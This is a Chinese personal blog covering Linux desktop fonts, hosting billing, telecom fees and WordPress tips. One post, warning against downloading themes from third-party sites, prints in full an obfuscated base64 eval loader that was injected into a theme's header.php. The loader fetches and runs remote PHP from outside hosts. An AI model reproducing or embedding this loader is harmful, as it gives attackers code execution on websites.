KDE4会自动更改.fonts.conf

January 16th, 2008

昨天尝鲜,在我的Ubuntu上安装了刚发布不久的KDE4,安装过程很顺利,登录时在会话中选择KDE4即可进入全新的KDE4桌面环境,但我发现它并没有此前各种媒体宣传的那么好,转了一圈后退出,回到Gnome,这时问题出现了,所有的字体显示时变得非常模糊(我使用雅黑字体美化),显然这与KDE4有关,立即检查主目录下的字体配置文件.fonts.conf,看到最后多出了几行配置,这大概就是KDE4自作主张添加的东西,删除之,重新登录,字体恢复正常!

KDE4自行添加的字体配置

<match target=”font” >
  <edit mode=”assign” name=”rgba” >
   <const>none</const>
  </edit>
 </match>
 <match target=”font” >
  <edit mode=”assign” name=”hinting” >
   <bool>true</bool>
  </edit>
 </match>
 <match target=”font” >
  <edit mode=”assign” name=”hintstyle” >
   <const>hintmedium</const>
  </edit>
 </match>
 <match target=”font” >
  <edit mode=”assign” name=”antialias” >
   <bool>true</bool>
  </edit>
 </match>

被Dreamhost的错误吓到了

January 16th, 2008

昨天(1月15日)晚上突然收到Dreamhost发来的帐单,上面赫然写明已经从我的信用卡中扣除了$238.8作为下一年hosting的续费,我完全懵了,因为我的帐号3月19日才到期,怎么会这么早就收费?而且数目还翻了一倍(一年应为$119.4),马上登录到Dreamhost帐号,果然发现被扣了$238.8,shit! 这显然是Dreamhost的错误!我怀着一腔怒火给Dreamhost发邮件说明此事,并且盘算着如果对方不认帐我该怎么办-_-,不过今天早上收到了Dreamhost的道歉email,确实是他们的误操作(吓人!),被误扣取的钱已经退回到我的信用卡帐号,OK,还好事情解决得比较顺利,相对而言,国外的公司服务还是规范的,如果是国内的公司……最后提醒一点,如果你也是Dreamhost用户,一定要关闭信用卡自动支付选项(Billing->Make payment->credit card autopay),这个好像默认是开启的,以防止我这样的遭遇。

为什么移动漫游费这么难降?

January 3rd, 2008

最近一个热点是移动漫游费的问题,人民群众希望完全取消,而发改委和信产部的意思是只能逐步降低,为什么降费这件事这么费劲呢?原因可能并不像看上去那么简单,我说说我的看法:

1。垄断,这是摆在明面上的原因,地球人都知道,但这个原因太泛泛,意义不大,就这件事而言,可能下面的东西才更有意思
2。利益,这也是比较容易看出的原因,尽管利润率已经相当高,但取消漫游费无疑会削减移动运营商的利润,任何企业都不愿意面临这种情况
3。联通,为什么是联通?因为移动是老大,联通是老二,老大比老二有钱的多,所以相对而言,漫游费的重要程度对联通比对移动要大,对移动可能是疼一下,对联通可能是要了命,别忘了老大、老二都是发改委的儿子,为了保老二,老爸怎么做傻子也明白,其实像北京移动一直话费高居不下,也有北京联通经常去发改委哭诉的因素
4。固网运营商,固网运营商的日子可能比联通还难过,很多地方由于移动话费的低廉(不要拿北京说事,请看看北京之外的地区),老百姓更愿意使用手机而非固话,取消漫游费,无疑会使这种情况加剧,联通会去发改委哭诉,更大牌的电信和网通难道不会吗?说白了,都是一家人,任何资费政策的出台都必须平衡这四家运营商的利益,所以发改委和信产部其实也很头疼。

总的来说,根源还是在于垄断,但这个有中国特色的问题恐怕短期甚至长期都无法解决,能够让运营商吐利已经算是个小胜利了。

2008:我离不开的Web 2.0产品

January 2nd, 2008

著名Blogger Michael Arrington 在Techcrunch上列出了自己2006-2008所最常使用的Web 2.0服务(2008应该是Arrington自己的预测),从表中可以看出,Arrington所热衷的Web 2.0服务越来越多,这说明Web 2.0正逐渐被我们所认同,在我们的生活和工作中扮演越来越重要的角色;但另一方面,三年始终在列表中的服务却并不多,这一方面说明这一市场竞争激烈,好产品层出不穷,先行者未必能笑到最后,另一方面也说明,Web 2.0的发展趋势同传统产业相似,即某一细分市场不管最初有多少家企业,当它成熟时最终必然被少数几家强者所占据,其市场地位很难被撼动,而后来者则不得不去寻找其他细分市场。

2008fav.jpg
Arrington的列表

我平常使用的Web 2.0产品并不太多,不过也列一下吧:

Google:其实Google应该不算Web 2.0产品,不过它才是我真正离不开的

Gmail:我的主Email

Delicious: 也试用过其他网络书签,还是delicious最合我心意

Firefox:尽管Mozilla有进化为Web 2.0公司的趋势,但Firefox还说不上是Web 2.0吧,倒是其同宗兄弟Flock更像,不过Firefox仍是我最常用的浏览器

Wordpress:没有它我怎么写Blog??

Google Reader:没有它我将一无所知!

Digg:我好像没有digg过一篇文章,不过Digg却是我最重要的信息来源之一

其他像twitter之类的都是偶尔用用,你有哪些离不开的web 2.0产品呢?也来写写吧^_^

对《通过优化插件来提高 WordPress 运行效率》的一点补充

January 1st, 2008

我爱水煮鱼所写的通过优化插件来提高 WordPress 运行效率一文非常好,建议所有使用Wordpress的朋友都读一读。对于优化插件问题,我想到了一个方法,就是将所有Blog必需的插件函数写入模板的functions.php文件中,加载模板时也就同时启用了这些函数,但这要求你对插件的结构比较了解,清楚其中哪些语句是函数所必需的,哪些是无谓的,所以我不建议对比较复杂的插件使用此方法,而有些插件我们经常使用并且其本身又短小精悍,最适合使用此法,以中文Blogger必备的中文 WordPress 工具箱为例,其中获取最新文章列表的函数所包含的语句如下:

function get_recent_posts($no_posts = 10, $before = ‘<li> ‘, $after = ‘</li>’, $show_pass_post = false, $skip_posts = 0) {
global $wpdb, $tableposts;
$request = “SELECT ID, post_title, post_date, post_content FROM $tableposts WHERE post_status = ‘publish’ “;
if(!$show_pass_post) { $request .= “AND post_password =” “; }
$request .= “ORDER BY post_date DESC LIMIT $skip_posts, $no_posts”;
$posts = $wpdb->get_results($request);
$output = ”;
foreach ($posts as $post) {
$post_title = stripslashes($post->post_title);
// $post_date = mysql2date(’j.m.Y’, $post->post_date);
$permalink = get_permalink($post->ID);
$output .= $before . ‘<a href=”‘ . $permalink . ‘” rel=”bookmark” title=”Permanent Link: ‘ . $post_title . ‘”>’ . $post_title . ‘</a>’. $after;
}
echo $output;
}

那么只需要将这段代码写入functions.php文件中即可,其他类似的函数还有中文wordpress工具箱中的其他函数、wp-pagenavigravatar等。最后提醒一下,如果你的模板是准备公开发布的,请在functions.php中注明插件出处^_^。

新年新项目

January 1st, 2008

有段时间没有更新Blog了,不是我变懒了,而是业余时间的精力被分散到了其他地方,首先是自己又建了一个短评类的Blog:Livedot.org,有点儿类似于把sideblog的内容单独分离出去,欢迎您随时光临;另外我正在基于wordpress开发一个magazine-style的网站,初始设想是将其办成有关Blog和Blogger的新闻/杂志类站点,目前最重要的首页部分已经大致设计完成,这也是我第一次独立开发一个全新的Wordpress theme,又学到了不少东西,本来我最初想用Drupal或者Modx这类正宗CMS程序,但在看了freeshipping这个网站后,我发现用Wordpress也完全能够做出CMS风格,而且这还能节省学习其他程序的精力,事实也证明,利用灵活的custom field,wordpress几乎无所不能,如果再配合jQuery或者Mootools这类javascript框架,甚至还可以做得很华丽。

blog and blogger

说一下自己的wishlist吧:

  • 运营好blog and blogger这个站点,同时希望有朋友能够加入,如果您有兴趣,请联系kenshin2010[at]gmail.com
  • 设计3-4个wordpress themes,其中可能包括1-2个商业模板
  • 写1-2本与wordpress有关的电子书

这辈子大概不能和喜欢的人在一起了,那就尽量做写自己喜欢的事吧^_^

不要随便从第三方网站下载wordpress主题模板

December 20th, 2007

著名的网站设计师Derek在自己的Blog上提醒Wordpress的新手在从一些主题下载站下载WP模板时一定要小心,因为他发现自己制作的模板被一个名为WP Sphere(这个网站现已不能访问)的站点重新打过包,并在header.php文件中嵌入了恶意代码,因此从该站点下载了模板的用户很可能会中招,Derek建议大家直接从模板作者的网站上下载东西而不是经由WP Sphere这样的第三方主题站,国内也有不少第三方站点提供WP模板的下载,目前似乎还未发现这样的恶意事件,不过小心使得万年船,在应用模板前最好检查一下文件代码,看看是否有类似的恶意代码,如果你的Wordpress水平已经到了一定水平,不妨试试自己写模板吧。

嵌入到Derek模板中的恶意代码:

@eval(@base64_decode(’aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3Q\
jY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20i\
LCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiw\
gJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICR\
SNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3I\
iOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD\
kxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMk\
QwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1Qj\
M5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRj\
EyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlICRSNT\
BGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyIj\
sgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OT\
cgPSAxOycpOyBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3OD\
M2Nzk3IEFORCBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgeyAgJF\
JEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5NiA9ICIxIjsgIC\
RSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgPSAiaHR0cD\
ovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLm\
NvbS93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waH\
A/dXJsPSIuIHVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXS\
kgLiImIi4gImhvc3Q9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0\
hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRT\
kwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M0JFNj\
U2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOU\
I3RTZDNzM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQT\
gwOEE1NEVBMkEzREJEOUU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMz\
M1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSA9ICJodHRwOi8vd3d3LiRSNT\
BGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY29tL3ckUkQzRk\
U5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gdX\
JsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG\
9zdD0iLiB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIE\
ByZWFkZmlsZSgkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMT\
E1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQk\
MzMDkxNik7′));

免费赢取Wordpress傻瓜书

December 11th, 2007

又一个“免费赢取”,希望这次不像Premium News模板一样有始无终
hhalloyy提醒,赢取Priemium News模板的活动看来还是有效的,但也是随机选择评论者,我以前没注意到,多谢hhalloyy!

Problogger.net下周开始将举行一个小小的竞赛活动,从周一到周五,每一天Darren会随机选择一条评论作为当天的赢家,奖品是Lisa Sabin-Wilson所写的Wordpress for Dummies(没说是电子版还是纸媒版,我估计是电子版的),周末会宣布5位幸运儿是谁,评论数量不限,但Darren对评论的要求是言之有物,有兴趣者下周到Problogger.net上碰碰运气吧。

强悍!10秒打领带妙法!

December 4th, 2007

什么事就怕琢磨,看看下面这哥们是如何做到仅用10秒钟就打好领带的,真是生活的智慧无处不在啊!



Fastest Way To Tie A Tie - A New Genus Record - video powered by Metacafe

via: Lifehacker

Wordpress主题推荐:dfLover

December 3rd, 2007

勤奋的Deziner Folio又发布了一款漂亮的Wordpress主题:dfLover,这款主题集成了Flickr和Gravatar插件,兼容最新的Wordpress 2.3版本,sidebar和footer点缀着淡蓝色和粉红色的花,淡雅细腻,个人感觉很适合女孩子使用。

dfLover

演示站点
下载请到这里